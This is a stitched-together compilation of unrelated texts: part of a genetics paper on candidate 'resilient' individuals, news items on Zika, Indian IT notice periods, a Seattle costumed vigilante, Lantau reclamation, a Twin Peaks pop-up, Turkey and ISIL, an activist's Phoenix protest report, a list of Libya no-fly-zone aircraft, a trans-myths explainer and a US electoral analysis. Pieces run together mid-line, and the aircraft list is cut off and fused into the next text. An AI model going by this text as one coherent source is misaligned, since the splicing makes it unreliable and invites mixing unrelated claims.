After reviewing available medical records for the remaining 42 candidates, 14 presented expected manifestations from the genotypes they carried, indicating that they did not meet the criteria of a 'healthy' individual. Sanger sequencing ruled out another 15 candidates because the genotypes were determined to be heterozygous, not homozygous, as originally determined from the variant data. The final 13 candidates all harbored homozygous (autosomal recessive disease) or heterozygous (autosomal dominant disease) mutations to one of eight different severe Mendelian childhood disorders that would normally be expected to cause severe disease before the age of 18 years: cystic fibrosis, Smith-Lemli-Opitz syndrome, familial dysautonomia, epidermolysis bullosa simplex, Pfeiffer syndrome, autoimmune polyendocrinopathy syndrome, acampomelic campomelic dysplasia and atelosteogenesis (Table 4; Table 5 and Supplementary Fig. 5). The severity of the expected phenotypes makes it highly unlikely that such an individual would have manifested the disease without it being clearly annotated in their health records. A review of the individual health information for six candidates was performed, and no evidence of the indicated disease was uncovered. Genotypes for 5 of the 13 candidates were confirmed by Sanger sequencing to be true homozygotes, whereas the remaining 8 candidates from the UK10K22, 23andMe, Sequencing Initiative Suomi or SISu (http://www.sisuproject.fi/), and BGI cohorts could not be validated owing to insufficient remaining DNA for these samples.
Table 4: 13 Candidates identified in the Resilience Project Full size table
Table 5: Status codes for different levels of support identified during follow up of candidate resilient individuals Full size table
We modeled estimates regarding the number of expected resilient individuals from our study cohort with all autosomal recessive alleles in CAP, based on allele frequencies in the ExAC24, DIVAS25 and related databases and penetrance information (Supplementary Table 3). We estimated that we would have expected to identify 9 or 10 individuals with the indicated genotype out of all of those screened, which is not significantly different from the number of candidates we identified (P > 0.05).
Attempted recontact of candidate resilient individuals
We were unable to recontact any of the 13 candidate resilient individuals identified in this study, often due to the absence of a recontact clause in the original informed consent forms used for the studies from which these individuals were identified. Although recontact was possible for some cohorts in this study (e.g., Mount Sinai School of Medicine Biobank), no candidates were identified from those cohorts. Given this, we were unable to perform additional critical preprocessing steps to further confirm the resilient status of these individuals. Such steps would include confirming that the analyzed DNA matched the correct medical records for each individual, that they had not been diagnosed with the indicated Mendelian disorder, and that they were not mosaics. We consider these preprocessing steps as critical in order to formally characterize candidates as truly resilient.
Searching for simple explanations of resilience
Although in-depth decoding of candidate resilient individuals requires unfettered access to the individual and their medical records, we searched for counterbalancing variants occurring in the same gene region as the pathogenic one in an attempt to uncover simple explanations for the putative resilience. Among the 13 candidates we identified, 2 from the UK10K cohort had WES data (Table 4) and both had the pathogenic variant in the DHCR7 gene. These two individuals had 14 and 17 additional DHCR7 variants, respectively. Only five of these variants were annotated in the ClinVar, HGMD, and/or OMIM databases (Supplementary Table 4). All five were annotated as benign by ClinVar. Interestingly, both of these resilient candidates share the same homozygous alternative genotypes across all five variants. None of the variants identified clearly explains putative resilience in these two individuals. The pathogenic variant in these two individuals alters the splice site acceptor for the last exon (c.964-1G>C). Therefore, in explaining the resilience to this mutation, WGS data would provide a way to search for variants that could lead to the last exon being retained. For the remaining 11 candidates, either the raw sequencing data were inaccessible or only genotype data were available. In these cases the interrogated sites in the implicated gene regions were too sparsely covered to draw conclusions.
Lowering filtering stringency to retrieve more candidates
Given the small number of resilient candidates identified using our high-stringency filters, we attempted to lower their stringency to expand our search. Specifically, we broadened the disease and allele selection criteria to include conditions with more variable or milder clinical manifestations, reduced (but still very high) penetrance, phenotypes that can be managed, and a lower evidence level. These criteria resulted in the identification of 111 additional, second-tier candidates (Supplementary Table 5). However, the larger number of candidates resulted in a dramatic increase in the complexity of evaluating their legitimacy compared to that of the first-tier candidates. For example, 33 candidates were associated with conditions with known incomplete penetrance or milder clinical manifestations, 43 harbored variants that were more likely to be polymorphic based on evidence available in the genome variation databases, 7 harbored variants that have been reported only once or in a limited number of patients from the literature, and the remaining 28 candidates had mutations associated with conditions that are known to be strongly influenced by environmental factors. The number of candidates identified were still not large enough to employ statistical genetics techniques to identify modifier loci, and the complexity of the genetic variance component may be significantly increased, making it more challenging to employ variant-specific, or even individual-specific, study designs to elucidate the complexity of resilience (Fig. 2).Medical leaders at San Antonio symposium say the Zika virus could be transmitted in Texas as early as this summer
Dr. Anil Mangla, of San Antonio Metropolitan Health District, discusses halting the Zika virus at a Wednesday symposium. Dr. Anil Mangla, of San Antonio Metropolitan Health District, discusses halting the Zika virus at a Wednesday symposium. Photo: Kate Carlson / San Antonio Express-News Photo: Kate Carlson / San Antonio Express-News Image 1 of / 24 Caption Close Medical leaders at San Antonio symposium say the Zika virus could be transmitted in Texas as early as this summer 1 / 24 Back to Gallery
Tropical medicine experts say the Zika virus could be transmitted within Texas as early as this summer, if the virus follows the traditional course of similar diseases.
“I believe we have all of the risk factors,” said Dr. Peter Hotez, Texas Children’s Hospital endowed chair in tropical pediatrics, at a symposium Wednesday at the Children’s Hospital of San Antonio. “We have a real possibility (of Zika being transmitted) here.”
So far, none of the 42 cases of Zika reported statewide have been transmitted in Texas; 41 involved travelers who were infected abroad and diagnosed after they returned home. One had sexual contact with someone who acquired the infection while traveling abroad. In San Antonio, there have been seven cases. No cases of the disease have been reported as transmitted in the United States.
Hotez was one of four medical experts who presented at the symposium, which focused on the history of the virus, its symptoms and efforts to prevent it. He said more health care professionals need to be aware of the symptoms — fever, itching, skin rashes, muscle pain and joint pain — to be able to identify and report the disease.
Also Wednesday, Gov. Greg Abbott urged the U.S. Centers for Disease Control to approve the Texas Department of State Health Services’ funding requests totaling just more than $11 million for Zika preparedness and response efforts in Texas.
The United States first took notice of the Zika virus last year as it spread across South and Central American countries. While most people who contract Zika experience the mild symptoms, it can cause serious birth defects when it’s contracted by a pregnant woman.
“In San Antonio we are trying to be ahead of the game,” said Dr. Anil Mangla, director of the San Antonio Metropolitan Health District Communicable Disease Division. “As of now we are safe in San Antonio but doing background and doing surveillance to make sure we don’t have Zika.”
The Aedes aegypti mosquito — the species of mosquito that transmits the disease — makes up 33 percent of the mosquito population in San Antonio, Mangla said. The mosquito population and diseases they carry are monitored weekly to help track Zika.
If Zika is transmitted in Texas, Mangla said a major step to control the disease will be geofences. This technology would establish a virtual radius around the residences of people with Zika and anywhere they had been in the preceding days. This system could be used for example, to alert blood banks so that the person who has the disease or anyone who might have been infected by the victim isn’t allowed to give blood for 28 days.
Prevention is key to controlling the disease, the experts said.
“The No. 1 thing I want to bring up is that there will have to be personal responsibility in terms of taking care of your backyard, because the mosquitoes live very close to humans, which are the host,” Mangla said. “The second thing we can do is to protect ourselves.”
Widespread mosquito spraying isn’t necessarily effective in containing the disease, the experts said. What does work is eliminating standing pools of water in yards and public places and eliminating clutter in personal living spaces to help prevent mosquitoes from breeding. Wearing long sleeves and pants and using mosquito repellant also helps prevent the disease.
kcarlson@express-news.comNEW DELHI/BENGALURU: Indian information technology employees want the government to step in and make it easier for them to leave their jobs, at a time when they face the prospect of poor salary increases and slower job growth.Over 28,000 professionals have signed an online petition asking the ministry of labour to stop IT companies from holding workers to a three-month non-negotiable notice period.“It is unrealistic for anyone to plan that far ahead for their future actions and resign in advance not knowing state of the issue in next three months,” the petition said. IT employees say the petition is gathering support across WhatsApp groups and other messaging platforms. Accenture and IBM have three-month notice periods.The problem for the 3.9 million Indian IT employees is one of job mobility. “Three-month notice is clear exploitation,” said an employee at an Indian IT company, who did not want to be identified.“The IT companies try to stop employees for three months, but the next company is not ready to wait for three months. So mostly people go jobless for a couple of months and then look for a new post,” he said.For IT employees — expected to receive low single-digit wage increases for the next financial year — the situation is onerous.Tech Mahindra has suspended the salary revision process for employees with more than six years of experience, pending a management review. National Association of Software and Services Companies (Nasscom) has also postponed setting a target for industry growth until May as the industry battles slowing growth and regulatory hurdles in the US, its largest market.Human resource experts said the three-month notice period is being used as a tool by IT companies to combat high attrition rates. While these rates vary, most Indian IT firms face attrition rates of between 13% and 20%, according to industry estimates.The extended notice period acts like a hidden retention policy forcing employees to think twice about leaving, while making it hard for a prospective employer to wait that long. “Many candidates are not able to apply for a new job as prospective employers are not willing to initiate the hiring process because of this clause,” Alka Dhingra, assistant GM at recruitment firm TeamLease, told ET.In the IT services sector, employees are billable resources and it is likely that a company will lose money if a suitable replacement is not found, forcing companies to adopt every method to retain employees.“In the services business, companies are almost entirely structuring the arrangement with the client on the basis of the individual employee,” said Anandorup Ghose, partner-talent & rewards at Aon Hewitt Consulting. “A two-three month notice period ensures a contingency plan,” he said adding that it is common across industries.A longer notice period also gives IT firms a chance to find replacements and this is particularly true for employees with niche skills. Industry seniors are of the view that the issue has been exacerbated by high demand for specific skills like data analytics or user experience “If (employees) doesn’t have good skills or (are) not critical to a project, chances are (companies) will let them leave,” said a senior executive at an Indian IT firm.“But skilled people will need to serve the notice period because they are hard to replace,” the executive added. However, he added that companies cannot have separate notice period for different employees.IT companies say they do offer flexibility on the threemonth notice clause.“We have a three-month notice clause to ensure a smooth project transition as well as to encourage a professional handover. We feel that this is desirable considering the long-term nature of client engagements,” Infosys said in a statement to ET.“However, we do provide flexibility to our employees in case of personal exigencies or when there is minimal impact on our projects or business continuity.”Last Sunday, an attempted car theft in Seattle was thwarted by a super-hero, and when I say "a super-hero," I don't mean that in the sense that, as Superman says, we can all be super-heroes if we do the right thing and care about each other. I mean a dude in a bulletproof costume with a codename and a secret identity. Specifically, this guy:
Phoenix Jones, Guardian of Seattle, one of the vigilante LARPers known as the Real Life Super-Heroes.
According to a report by Seattle's KIRO that includes a pretty amazing video, a man known only as "Dan" was in danger of having his car stolen when Phoenix Jones, Guardian of Seattle (who is legally obligated to use his full title or risk a lawsuit by a band of the same name) "dashed in" and chased off the would-be thief, before returning to his secret hideout in a secret room at a comic book store.
Yes, really.Despite the fact that you'd think they'd be thrilled about a news story where one of their own actually fought a crime rather than just, say, having a Facebook page, some members of the Real Life Super-Hero community have claimed that the whole thing was a setup designed to get Phoenix Jones (Guardian of Seattle) media attention. In fact, as seen on Talking Points, one member of an RLSH forum went so far as to claim that PJ (GOS) was being funded by Hollywood, although I cannot imagine a world where that possibility is actually more likely than the alternative.
I will say, though, that in KIRO's video, the semi-anonymous "Dan" does have the air of someone delivering a well-practiced speech...
...but let's be honest here: If this happened to me, I would've told the story at least a hundred times by the time the reporters showed up to get my statement.
Either way, it's a victory for (Phoenix) Jones (Guardian of Seattle), who claimed in an interview to have been motivated to fight crime when his car was broken into at a water park. On the scale of origin stories, that's not quite as dramatic as, say, being rocketed to Earth from your exploding home planet, but it does have the benefit of leaving a souvenir: a jar of broken glass that he keeps to this day, presumably next to whatever Seattle's versions of a giant penny and a robotic Tyrannosaurus Rex are.
As to where Phoenix Jones, Guardian of Seattle keeps these things, that's the best part: He has a secret headquarters located in a hidden room at a comic book store.
This is basically amazing -- for one thing, there' s a comic book store with a secret passage behind a bookshelf, and that's rad even without it being used as a super-hero hideout -- but from a security standpoint, I've read enough comics to realize it's pretty lacking.
For one thing, changing into your alter-ego in an extremely conspicuous public place isn't exactly the height of secrecy, and while there was always a chance that Aunt Harriet would find the secret button in Bruce Wayne's bust of Shakespeare, someone opening up that shelf while reaching for the latest Walking Dead seems like more of a mathematical certainty.
Especially now that it's been on TV.Visiting Chinese state leader Zhang Dejiang has been shown a 3D model of the government’s Lantau development plan which was absent from a recent public consultation. A district councillor and environmental protection groups have criticised the government for withholding the information.
Zhang, China’s No. 3 official, was visiting the Development Bureau on Tuesday after arriving in Hong Kong for a three-day visit.
In a photo and a video released by the government, he was shown a 3D model clearly showing reclamation areas around the outlying islands of Hei Ling Chau and Kau Yi Chau, with apparent buildings, roads and railways connecting the islands to Lantau and Hong Kong Island.
The government’s public engagement exercise for Lantau development, which ended on April 30, included two conceptual photos on spatial planning and traffic planning. Neither showed the exact area of island reclamation.
The two islands were part of the East Lantau Metropolis development plan in the consultation.
‘Completely different’ plan
Democratic Party Islands district councillor Eric Kwok Ping said the Development Bureau told him at a district council meeting in February – when the consultation has started – that it was still studying the size of reclamation area.
According to the Save Lantau Alliance, a group that Kwok also belongs to, the government had said reclamation may not be implemented and would only be decided after collecting and analysing public opinion.
“The 3D model and the consultation are completely different, I don’t even know which one is the real plan,” Kwok said.
“If this was a fake consultation, it must be retracted – unless they [government officials] were trying to deceive the country’s leader, to make him happy seeing such development,” he added.
Environmental protection groups have voices concerns that the consultation was not conducted as transparently as the government had promised.
“The so-called bottom-up planning, the proposal’s vision and professional principles have turned out to be not important at all,” the green group Clean Air Network said. “Whilst you think the government has yet to decide on the plans, [Secretary for Development] Paul Chan has prepared a 3D model to take merit when Zhang Dejiang visits.”
Kwok said he did not expect the Development Bureau to conduct extra consultations after the details were seemingly unintentionally revealed.
The report on the now-concluded consultation is expected to be released as early as August.David Lynch’s Twin Peaks was famously fetishistic when it came to food, what with all the damn fine cups of coffee, heavenly cherry pies, and myriad donuts Special Agent Dale Cooper was always shoving down his endlessly affable gullet. Now, in the wake of the show’s upcoming revival on Showtime, a group of London restaurateurs are looking to capitalize on its resurgent popularity, launching The Owls Are Now What They Seem, a pop-up restaurant with a planned two-month tenure starting in the August.
Owls won’t be the first pop-culture-pop-up London has seen in recent years; Game Of Thrones got the treatment back in February, and a Breaking Bad-based restaurant is currently in the works. The Twin Peaks attempt at the concept, though, is being billed as an “immersive Twin Peaks theater, complete with a three-course meal designed by experimental foodies,” promising interactive experiences along with the food. (Fingers remain crossed that diners will be invited to carry their own logs, or design a set of silent drape-runners during the meal.)
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Speaking of the food, we can only assume that the first course will be amazing, building up inevitable disappointment when the second eventually arrives (especially after the mysterious ingredients are revealed about halfway through the course.) The third portion of the meal will then arrive 20 years later, and be greeted with desperate, starvation-induced anticipation from the hordes of waiting diners, along with a lot of back-and-forth discussions about whether the head chef would be coming back to cook the thing or not.
The Owls Are Now What They Seem is set to operate in London from August 27 through October 17.Turkey to join military campaign against ISIL: Erdoğan
NEW YORK
Erdoğan speaks at the Council of Foreign Relations in New York on Sept. 23. AA Photo
Turkey could lend military or logistical support to U.S.-led air strikes against Islamic State of Iraq and the Levant (ISIL) militants in Syria, President Recep Tayyip Erdoğan was quoted as saying on Sept. 23, signaling a potential shift in Ankara’s stance on the issue.“We will give the necessary support to the operation. This could be military or logistical,” Erdoğan was quoted as telling reporters in New York.The United States and its Arab allies bombed Syria for the first time earlier on the same day, targeting members of a separate al-Qaeda-linked group, along with ISIL, opening a new front against militants and directly intervening in Syria’s three-year-old civil war.Turkey has so far refused a military role in the coalition, citing domestic concerns.Erdoğan’s remarks came days ahead of his crucial Sept. 25 meeting with U.S Vice President Joe Biden.Turkey is home to a major U.S. base in the southern town of İncirlik, which officials says has not been used so far in any lethal strikes in Iraq or Syria.Erdoğan said Turkey viewed the U.S.-led action positively and stressed it should continue.“We are not a country that is outside of the region,” he also said in a separate interview with PBS’s Charlie Rose, justifying Ankara’s caution on the issue. “The fire is burning in our region. A total of 1.5 million refugees are not in the U.S., Germary or France, but Turkey.”Erdoğan said Turkish executives were in talks with their U.S. counterparts on how Turkey could contribute to the fight against ISIL.Turkish officials had said the country’s hands were tied while 46 of its citizens were held hostage by ISIL militants in northern Iraq, including its consul general in Mosul. However, on Sept. 20, Turkish intelligence agents brought the hostages back to Turkey after 101 days of captivity, raising questions about whether Ankara might commit more wholeheartedly to the military coalition.“Clearly, Turkey had an initial challenge with respect to its hostages. That being resolved, Turkey is now ready to conduct additional efforts along with the rest of us in order to guarantee success,” U.S. Secretary of State John Kerry said at a recent counter-terrorism forum.“Turkey is still determining what its posture is going to be,” a senior U.S. Obama administration official, speaking on background, told reporters Sept. 23.“At minimum, we certainly want their full cooperation and effort to crack down on the flow of foreign fighters in and out of Syria and Iraq. Turkey’s been a transit point for... foreign fighters, so we’ve had discussions with them on that issue,” the official added.Erdoğan spoke on the sidelines of an annual meeting of world leaders at the United Nations, hours after U.S. and Arab allies launched airstrikes on ISIL targets in Syria.Erdoğan told journalists that Turkey was now considering a role that “includes everything. Both military and political,” Doğan News Agency reported.“Of course we will do our part,” he said.On the night of August 22, following a turbulent week in which Trump’s sympathies with far-right and fascist groups became even clearer, Trump made an appearance in Phoenix, Arizona to rally his far-right base in a state already divided by ugly conflicts over race and immigration. In a classic move from the totalitarian playbook, Trump denied that the massive protests outside his speech existed at all, while heavily-armored riot police prepared to attack them with chemical weapons. Behind Trump stood a token black man who has appeared at several of his rallies, an inept attempt to distract from the ways that Trump is smoothing the way for racists like the one who murdered a demonstrator last week in Charlottesville. This report recounts the experiences of those outside Trump’s speech, facing down far-right violence and police attacks to open up a space for opposition.
If you live in Arizona, getting in your car and driving with your affinity group to Phoenix to protest white supremacy is something you do regularly. The potential costs of struggle have always been high for us. We have no illusions about the burden of prison time, what it can mean to be separated from family. The potential for violence from Neo-Nazis and the state is always a clear and present danger. This time however, it felt different.
Recently, many of us have been considering the possibility that we may not come home from the next anti-fascist action we attend. We spent our time preparing and having really hard conversations with our children, parents, and loved ones. This past year has been devastating. I feel honored to be out on the streets with comrades who are weighing the risks and still showing up.
Puente organized the march—a grassroots migrant justice organization based in Phoenix, Arizona that focuses on education and empowerment within migrant communities to protect and defend families. They have been at the forefront of the struggle against the deputization of the police and against the racist enforcement policies of Joe Arpaio. Their years of tireless struggle were part of the reason that Arpaio didn’t get re-elected last time. That, and his bizarre mafioso-style feuds with other political opponents.
Thousands turned out to protest in the 107 degree heat: a mixed and diverse crowd with lots of energy and many creative signs. People showed a lot of strength and dedication, considering that even after sunset, it was still 100 degrees. A shout out to those that arranged for bags of ice to be distributed—it kept the numbers of people treated for heat exhaustion and heat stroke to a relative few.
Trump rallying the far right against those who oppose fascism, while police with helmets and clubs wait outside to beat protesters.
We were outnumbered by the Trump supporters; there were thousands of us, but there were well over 10,000 of them. Until the end of the night, scuffles between sides were isolated to sporadic incidents outside the convention center. It was a charged and unpleasant environment.
I witnessed a Trump supporter spit on a Latino youth, assault him, and attempt to carry out a “citizen’s arrest.” Other people pulled the young man up from the ground, and he kept at it into the night with his affinity group, a very sweet group of people. That Trump supporter felt he was well within his rights starting a street fight, spitting on a young kid, and putting him in a chokehold on the ground. He figured that if he “arrested” this kid, the police would be on his side. This highlights ties between the police, the military, and grassroots fascists. Thankfully, the kid got away, but it’s instructive that the Trump supporter felt so emboldened. Individually, many of the police are white supremacist sympathizers, and structurally, they are the armed wing of the state upholding white supremacy and democracy in all its genocidal glory.
Just as in Charlottesville, the police came out to assist the right-wing and fascists. Police provided Trump supporters escort back to their vehicles. It was only after most Trump supporters had safely left the area that they deployed gas, pepper spray, and rubber bullets in the areas with the highest concentration of protesters. There was some back and forth in the streets—protesters throwing back the canisters of poisonous gas they shot at us. The claims that our side deployed our own gas are laughable, utterly dishonest propaganda. I’ve never understood why the police get so upset when people throw gas canisters back at them. What the fuck do they expect?
A lot of people were gassed and hit with projectiles, and three people were arrested. Yet overall, the evening did not end as terribly as we had all been worried it would. Many people were not prepared to deal with chemical weapons or engage in street battle, but a lot of enthusiastic locals showed up and gave it their all—and that felt great! Step by step, we are building the capacity to face the violence of the police on a community-wide level.
The preponderance of arms on all sides felt disturbing and tactically inappropriate. I do not question the commitment to struggle when anarchists carry arms to a protest, but I would ask this: in Phoenix and Charlottesville, when your friends were engaged in physical altercations with white supremacists and police… what did you do? Did you stand on the sidelines with your guns and watch? I mean, thank you for not shooting anyone. I think a three-way gun battle is not something any of us are prepared for, nor do I think it would advance the struggles we are participating in. What does this militancy provide us from a practical perspective? Is it serving a tactical purpose, or is it empty posturing? We need more solidarity in the streets, we need to prepare for the fights ahead, and we need to be honest with ourselves about the very real potential outcomes of our actions. This question warrants further discussion, and I hope it will take place.
Trump is still considering a pardon for Joe Arpaio. As recently as this June, inmates were still being housed in Tent City outside when temperatures spiked to 110 degrees. I would like to call on Maricopa County to keep Tent City open with Joe Arpaio as its only occupant. When Trump pardons that racist sociopath, be sure to pack some liquid antacid (like unflavored Maalox) and water diluted 50/50 in a spray bottle, clean rags to wipe down with, disposable masks, and a camelback with water.
Stay safe until then. We’ll see you in the streets.A joint operation to enforce a UN-backed no-fly zone over Libya has begun. Here we look at some of the British, French and US aircraft likely to be involved and some of the weaponry they may be using.
UK AIRCRAFT
Typhoon - Eurofighter
Typhoon Crew: 1
Max speed: Mach 2
Weapons: Air-to-air missiles (AMRAAM, ASRAAM); Enhanced Paveway (air-to-ground)
The RAF's Typhoon, or Eurofighter, is an agile aircraft primarily used in air-to-air combat. A number of Typhoons have been moved to Gioia del Colle air base in southern Italy, from where they will fly missions over Libya.
Aviation expert Paul Eden said the Typhoon was likely to remain essential to the operation in Libya for as long as there was a risk of any Libyan aircraft becoming airborne.
Typhoons were built to criteria set by the UK, Spain, Germany and Italy to replace the Tornado fighter. They boast stealth technology and weapons systems including medium and short-range air-to-air missiles and various high-precision air-to-ground weapons.
The Typhoon entered service with the RAF in 2003, and is primarily based at RAF Coningsby in Lincolnshire.
Tornado
Tornado GR4 Crew: 2
Max speed: Mach 1.3
Weapons: Storm Shadow, Brimstone, ALARM, AIM-9 Sidewinder, Paveway II, Paveway III, Enhanced Paveway, General Purpose Bombs, Mauser 27mm cannon
Source: RAF
The Tornado has been one of the mainstays of the RAF since first entering service in 1980 and the aircraft were used to enforce no-fly zones in Iraq.
It is mainly used as a strike or attack aircraft and will have a key role in taking out Libyan surface-to-air missile systems.
The MoD says it expects to move a number of Tornados to Gioia del Colle shortly, where they will join up with the Typhoon fleet to form 906 expeditionary air wing.
Weapons such as the Storm Shadow cruise missile mean that the Tornado can hit targets from a significant distance. The MoD describes the missile as being designed for "long range, highly accurate, deep penetration" against enemy command and control bunkers. It is fired from a Tornado GR4.
Tornado GR4s are also equipped with Brimstone missiles, an effective anti-armour weapon and can also be used for all-weather, day and night tactical reconnaissance.
Nimrod
Nimrod R1 Crew: 29
Max speed: 360 knots
Nimrod R1 reconnaissance aircraft, derivative of the maritime patrol version, are involved in surveillance operations in Libya.
The |
/ Kings because we’re trans, just as we’re not more likely to buy a particular kind of clothing just because we’re trans. Drag is an art form and particularly concerned with the entertainment of others through the over impersonation of the opposite gender. This is definitely not what being trans is. Being trans is about personal identity and about how you feel comfortable, it is not an entertainment platform. This again though, does not mean that some trans people don’t perform, however it has nothing to do with them being trans in the first place.
“But you made the choice to be trans!”
Hmmmn, well again, no. Trans people can no more choose to be trans than we can choose how tall we are. Trans people have been scientifically proven to be born the way they are, with physical conditions at birth contributing towards the error between gender identity and physical sex. Some people manage to live their lives and suppress their feelings, but some people cannot and then transition. Some trans people will say that they were born trans and then chose to transition, while others will say they had no choice in either and that transition was the only way they could survive. Neither of these is wrong, it really does just depend on the person, however this still doesn’t mean that people choose to be trans.
“Trans people always regret going through transition!”
A rather odd myth we think, but one that exists anyway. As a treatment, transition is one of the only ways a trans person who has GID can be helped to recover and to be able to rebuild their lives again. Of course, we go through a lot of evaluations and tests to make sure what we do is the right choice for us, but this means that ultimately very few trans people ever regret going through transition and aligning their physical body with how they feel inside.
“It’s all about the sex/fetish, right?”
So many of the myths we have been sent have related to the mix-up between gender identity and sex/sexuality. This one again perpetuates the view that people who transition or cross-dress are all some kind of deviant looking for sexual gratification in some way. We can say with a high degree of certainty that this is not the case and that those who do, do this for many other reasons, all excluding however, sex and fetish. Gender identity is exactly that, it’s how you identify, which means whether you transition from one physical sex to another to match your internal identity, live androgynous, or dress at weekends, it’s to do with feeling comfortable and bringing oneself into line internally and externally.
“Trans people can’t get jobs, they’ll end up as prostitutes!”
Well, yes they can actually and no, they won’t. Many trans folk find successful employment in a myriad of different employment situations and lots keep the old jobs they had prior to transition. It’s not easy as discrimination and misinformation, along with employers’ misconceptions about trans people integrating into their workforce still exist, however many trans folk have rewarding and fulfilling careers, with the fact they’re trans having no bearing on that at all. In the UK [and the United States] for instance, trans people are specifically protected from workplace discrimination.
“Trans women are just men trying to invade women’s space”
Unfortunately, this is something we hear quite regularly from the more radical section of the feminist movement. Feminism is great and we obviously support equality, however this assertion that trans women trying to use the toilet (for instance) are just men trying to invade women’s space is absolutely ludicrous. Transition is an incredibly difficult process, one which is undertaken with great care and determination, however this determination is for nothing other than to feel like ourselves. Unfortunately Radical Feminism creates some of the most abundant transphobia this century.
“I’m attracted to a trans Man/Woman, am I gay?”
This is related to a myth further up the page and again we would like to stress that gender identity and sexuality are separate. If you’re a straight guy who finds a trans woman attractive, it shouldn’t be a surprise to you. That would be heterosexual attraction. If you’re a straight woman who’s attracted to a trans guy, then this again is heterosexual attraction. You would be straight before you thought they were cute, and you’ll still be straight afterwards!
“You’re not a ‘true’ trans person, because……”
This is the myth that there’s a particular kind of stereotype that all trans people fit into and so when you don’t fit, you just cannot possibly be trans. Well again, we’re sorry to burst people’s bubbles, but trans people are as varied as every other type of person, minority, majority, community etc. Quite often, the only thing that people in our community have in common is that we’re dealing with some kind of internal gender identity that doesn’t match us physically, and that really is it. Trans people all have different life experiences, hobbies, jobs, family, qualifications, religions or faiths or any other variation you can think of.
———-
My thanks to Emma Bailey, founder of Wipe Out Transphobia.
(This section is condensed and reproduced with permission from Wipe Out Transphobia. )
———Usually, this column takes a granular approach to politics. Most often, we’re handicapping gubernatorial and legislative races. But for this one time, we’re taking a look at the big picture in American politics today -- the really big picture.
While there’s no single theory that can explain all political behavior in America, there’s still reason to believe that distinct patterns are emerging at four different levels of government, and that those patterns are almost perfectly balanced by party.
Let’s start at the presidential level, where demographic patterns are making it increasingly challenging for the Republican Party to win the White House. By the same token, structural factors are making it increasingly difficult for the Democrats to take control of either chamber of Congress.
Meanwhile, state elections timed for the midterm cycle will continue to make it hard for Democrats to win governorships, and local demographic and political shifts will make it increasingly harder for Republicans to win mayoral elections.
Put it all together and each party should have an edge in two political arenas -- the Democrats with the White House and mayoral offices, and the Republicans in congressional and gubernatorial elections. Depending on your perspective, this is either a recipe for long-term gridlock or an opportunity for each party to enact its agenda at a different level of government.
Let’s take a closer look, level by level.
The Presidency
Simply put, Democrats have an edge in the Electoral College, though it’s not an insurmountable one.
Here’s how: Any credible Democratic candidate would start with an almost certain base of 170 electoral votes (California, Connecticut, Delaware, the District of Columbia, Hawaii, Illinois, Maryland, Massachusetts, New Jersey, New York, Oregon, Rhode Island and Vermont). It’s probably safe to add another 27 electoral votes (Minnesota, New Mexico and Washington state). Together, that adds up to 197 votes. If you add in three swing states that haven’t voted Republican for president since 1988 (Maine, Michigan, Pennsylvania and Wisconsin) that gets a Democratic nominee up to 247, or just 23 swing-state electoral votes short of the 270 needed to win the presidency.
By contrast, the Republicans start out with 143 solid electoral votes (Alabama, Alaska, Arkansas, Idaho, Kansas, Kentucky, Louisiana, Mississippi, Montana, Nebraska, North Dakota, Oklahoma, South Carolina, South Dakota, Tennessee, Texas, Utah, West Virginia and Wyoming). It’s also reasonable to add four Republican leaning states with a collective 48 electoral votes (Arizona, Georgia, Indiana and Missouri). Together, that’s 191 electoral votes, or 206 if you include North Carolina, which voted Republican in five of the last six elections. This lineup requires the GOP to win 64 swing-state votes -- almost three times as many as the Democrats would need.
In 2012, Obama eventually got 332 electoral votes to win re-election. (AP/David Zalubowski)
Under this scenario, the swingiest of the swing states, which we’ve categorized as belonging to neither party’s lineup, control the 85 pivotal electoral votes -- Colorado, Florida, Iowa, Nevada, New Hampshire, Ohio and Virginia.
In reality, it’s not at all clear that the GOP will inevitably lose Maine, Michigan, Pennsylvania and Wisconsin for the foreseeable future, meaning that Democrats don’t actually have a lock on the presidency. Still, for Democrats, it’s a nice edge to start with, and more important, it’s fortified by demographic changes helpful to their party.
As political analysts Charlie Cook and David Wasserman recently noted, the racial and ethnic diversification of the electorate continues. Cook and Wasserman foresee the likelihood that the white share of the electorate, which forms the core of the Republican Party, will shrink from 72 percent in 2012 to 70 percent in 2016. Those two lost percentage points would be redistributed to Hispanics and Asian-Americans, two groups more favorable to Democratic candidates. “If the 2012 election had been held with that breakdown (keeping all other variables stable), President Obama would have won by 5.4 percentage points rather than by his actual 3.85-point margin,” Cook and Wasserman write.
They add that “the group with which the GOP does best -- whites without college degrees -- is the only one poised to shrink in 2016.... In other words, the GOP doesn't just have a growing problem with nonwhites; it has a shrinkage problem as well, as conservative white seniors are supplanted by college-educated millennials with different cultural attitudes.”
While this doesn’t equate to a recipe for certain victory, it’s not a bad position to be in if you’re a Democrat.
Congress
Where the Democrats have an edge in the presidency, Republicans have the advantage in Congress.
This is clearest in the House. The clustering of Democratic voters in densely populated urban areas means that any reasonably compact district will likely include many “wasted” Democratic votes -- that is, Democratic support levels far above 51 percent in a given district, which could otherwise be used to dilute Republican strength in neighboring districts. This clustering was exacerbated by a strong Republican election cycle in 2010, when voters, even in otherwise Democratic-leaning states, elected GOP legislators and governors who proceeded to draw district lines favorable to the GOP. This is a key reason why a purple-to-blue state like Pennsylvania has a 13-5 Republican lead in its House delegation and why a swing state like Florida has a 17-10 GOP edge.
The combination of clustering and redistricting has produced a House electoral landscape in which few seats are genuinely competitive. To become a majority in the 435-member chamber, a party must assemble at least 218 votes. Currently, the House GOP has a 246-188 edge, not counting one vacant seat. As of now, the Cook Political Report has rated just 29 seats as competitive, either as tossups or as leaning toward one party or the other. That’s not even enough competitive seats to sway the balance of power.
This statistic shows how hard it will be for Democrats to take back the House anytime soon -- but it gets even worse for the party. Of those 29 competitive seats, only 22 are Republican-held. So, the Democrats would not only have to hold onto their own seven endangered seats, but would have to sweep every single one of the competitive Republican-held seats and then flip eight more GOP-held House seats that aren’t currently considered competitive -- all in order to achieve a bare, one-seat majority.
Securing a Democratic majority more solid than that would require even more seats, which is tough when so few seats in either party are even remotely competitive. Just four House GOP winners in 2014 failed to get to 50 percent; another nine won with 50 or 51 percent; and another 10 won with between 52 and 55 percent of the vote. All told, that’s less than 10 percent of the GOP caucus that had even vaguely close races in 2014.
Obama delivering his State of the Union address to a joint session of Congress. (AP/Pablo Martinez Monsivais)
Superficially, the Senate offers more hope for Democrats. The map of seats being contested in 2016 is favorable to the Democrats, with the GOP having to defend more incumbents and open seats, and many of those elections taking place on reasonably favorable territory for the Democrats. Because of this, Senate Democrats have a real chance of seizing the chamber in 2016, just two years after losing it.
